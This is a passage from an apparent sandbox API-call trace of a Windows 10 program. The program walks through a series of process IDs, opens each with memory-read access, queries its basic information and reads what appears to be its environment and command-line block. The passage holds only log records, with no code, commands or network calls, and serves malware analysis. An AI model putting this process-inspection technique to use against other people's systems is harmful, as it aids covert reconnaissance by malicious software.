dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0220.711] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0220.833] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1074) returned 0x460 [0220.833] GetLastError () returned 0x0 [0220.833] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0220.834] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x334018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0220.834] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0220.834] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x461d70, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0220.834] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x4618f8, lpBuffer=0x670ffc3f0, nSize=0x94, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0220.835] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0220.836] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0220.836] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x334020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0220.837] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x4612e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0220.837] malloc (_Size=0x9c) returned 0x196ef0fa4d0 [0220.837] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x46198c, lpBuffer=0x196ef0fa4d0, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fa4d0*, lpNumberOfBytesRead=0x0) returned 1 [0220.837] free (_Block=0x196ef0fa4d0) [0220.838] CloseHandle (hObject=0x460) returned 1 [0220.839] _ui64tow_s (in: _Value=0x10b0, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4272") returned 0x0 [0220.844] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4272") returned 4 [0220.845] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0220.845] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0220.963] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10b0) returned 0x460 [0220.963] GetLastError () returned 0x0 [0220.963] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0220.963] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x256018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0220.963] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0220.964] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x491e40, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0220.964] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x4919f8, lpBuffer=0x670ffc3f0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0220.965] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0220.966] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0220.966] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x256020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0220.966] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x4913e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0220.967] malloc (_Size=0xbc) returned 0x196ef0d67b0 [0220.967] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x491a64, lpBuffer=0x196ef0d67b0, nSize=0xba, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d67b0*, lpNumberOfBytesRead=0x0) returned 1 [0220.967] free (_Block=0x196ef0d67b0) [0220.968] CloseHandle (hObject=0x460) returned 1 [0220.969] _ui64tow_s (in: _Value=0x1120, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4384") returned 0x0 [0220.974] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4384") returned 4 [0220.976] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0220.976] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0220.995] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1120) returned 0x460 [0220.995] GetLastError () returned 0x0 [0220.995] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0220.995] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x670db0018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0220.996] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0220.996] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x196ee761bd0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0220.996] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x196ee761818, lpBuffer=0x670ffc3f0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0220.997] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0220.999] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0220.999] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x670db0020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0220.999] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x196ee761200, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0220.999] malloc (_Size=0x76) returned 0x196ef0d2120 [0220.999] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x196ee761864, lpBuffer=0x196ef0d2120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0221.000] free (_Block=0x196ef0d2120) [0221.000] CloseHandle (hObject=0x460) returned 1 [0221.001] _ui64tow_s (in: _Value=0x1288, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4744") returned 0x0 [0221.153] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4744") returned 4 [0221.155] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0221.155] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0221.175] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1288) returned 0x460 [0221.175] GetLastError () returned 0x0 [0221.176] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0221.176] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x3c03a9a018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0221.177] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0221.177] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x20518e21c60, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0221.177] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x20518e218c8, lpBuffer=0x670ffc3f0, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0221.180] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0221.182] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0221.182] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x3c03a9a020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0221.182] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x20518e212b0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0221.182] malloc (_Size=0x54) returned 0x196ef101220 [0221.182] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x20518e21910, lpBuffer=0x196ef101220, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef101220*, lpNumberOfBytesRead=0x0) returned 1 [0221.183] free (_Block=0x196ef101220) [0221.184] CloseHandle (hObject=0x460) returned 1 [0221.184] _ui64tow_s (in: _Value=0x13dc, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="5084") returned 0x0 [0221.189] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="5084") returned 4 [0221.190] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0221.190] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0221.344] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x13dc) returned 0x0 [0221.344] CloseHandle (hObject=0x0) returned 0 [0221.345] _ui64tow_s (in: _Value=0x1334, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4916") returned 0x0 [0221.353] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4916") returned 4 [0221.354] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0221.354] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0221.479] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1334) returned 0x460 [0221.479] GetLastError () returned 0x0 [0221.479] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0221.479] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x239018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0221.479] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0221.479] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x561cd0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0221.480] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5618c8, lpBuffer=0x670ffc3f0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0221.481] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0221.482] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0221.482] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x239020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0221.482] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x5612b0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0221.482] malloc (_Size=0x78) returned 0x196ef0d31b0 [0221.482] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x56193a, lpBuffer=0x196ef0d31b0, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0221.483] free (_Block=0x196ef0d31b0) [0221.484] CloseHandle (hObject=0x460) returned 1 [0221.484] _ui64tow_s (in: _Value=0xac8, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="2760") returned 0x0 [0221.489] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="2760") returned 4 [0221.490] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0221.490] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0221.600] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xac8) returned 0x460 [0221.600] GetLastError () returned 0x0 [0221.600] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0221.600] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x34e018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0221.600] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0221.600] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x461c50, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0221.600] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x4618c8, lpBuffer=0x670ffc3f0, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0221.601] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0221.603] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0221.603] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x34e020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0221.603] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x4612b0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0221.603] malloc (_Size=0x48) returned 0x196ef0fb6d0 [0221.603] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x46190e, lpBuffer=0x196ef0fb6d0, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fb6d0*, lpNumberOfBytesRead=0x0) returned 1 [0221.604] free (_Block=0x196ef0fb6d0) [0221.605] CloseHandle (hObject=0x460) returned 1 [0221.605] _ui64tow_s (in: _Value=0x1344, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4932") returned 0x0 [0221.609] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4932") returned 4 [0221.610] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0221.611] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0221.629] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1344) returned 0x460 [0221.629] GetLastError () returned 0x0 [0221.729] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0221.729] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x63c018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0221.729] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0221.729] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x181c40, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0221.729] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x1818c8, lpBuffer=0x670ffc3f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0221.730] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0221.731] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0221.731] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x63c020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0221.732] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x1812b0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0221.732] malloc (_Size=0x42) returned 0x196ef0fb950 [0221.732] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x181908, lpBuffer=0x196ef0fb950, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fb950*, lpNumberOfBytesRead=0x0) returned 1 [0221.733] free (_Block=0x196ef0fb950) [0221.733] CloseHandle (hObject=0x460) returned 1 [0221.734] _ui64tow_s (in: _Value=0x3e4, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="996") returned 0x0 [0221.738] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="996") returned 3 [0221.759] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0221.759] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0221.776] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3e4) returned 0x460 [0221.776] GetLastError () returned 0x0 [0221.777] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0221.777] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x6c4018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0221.777] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0221.777] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x9b1d40, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0221.777] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x9b18c8, lpBuffer=0x670ffc3f0, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0221.778] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0221.780] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 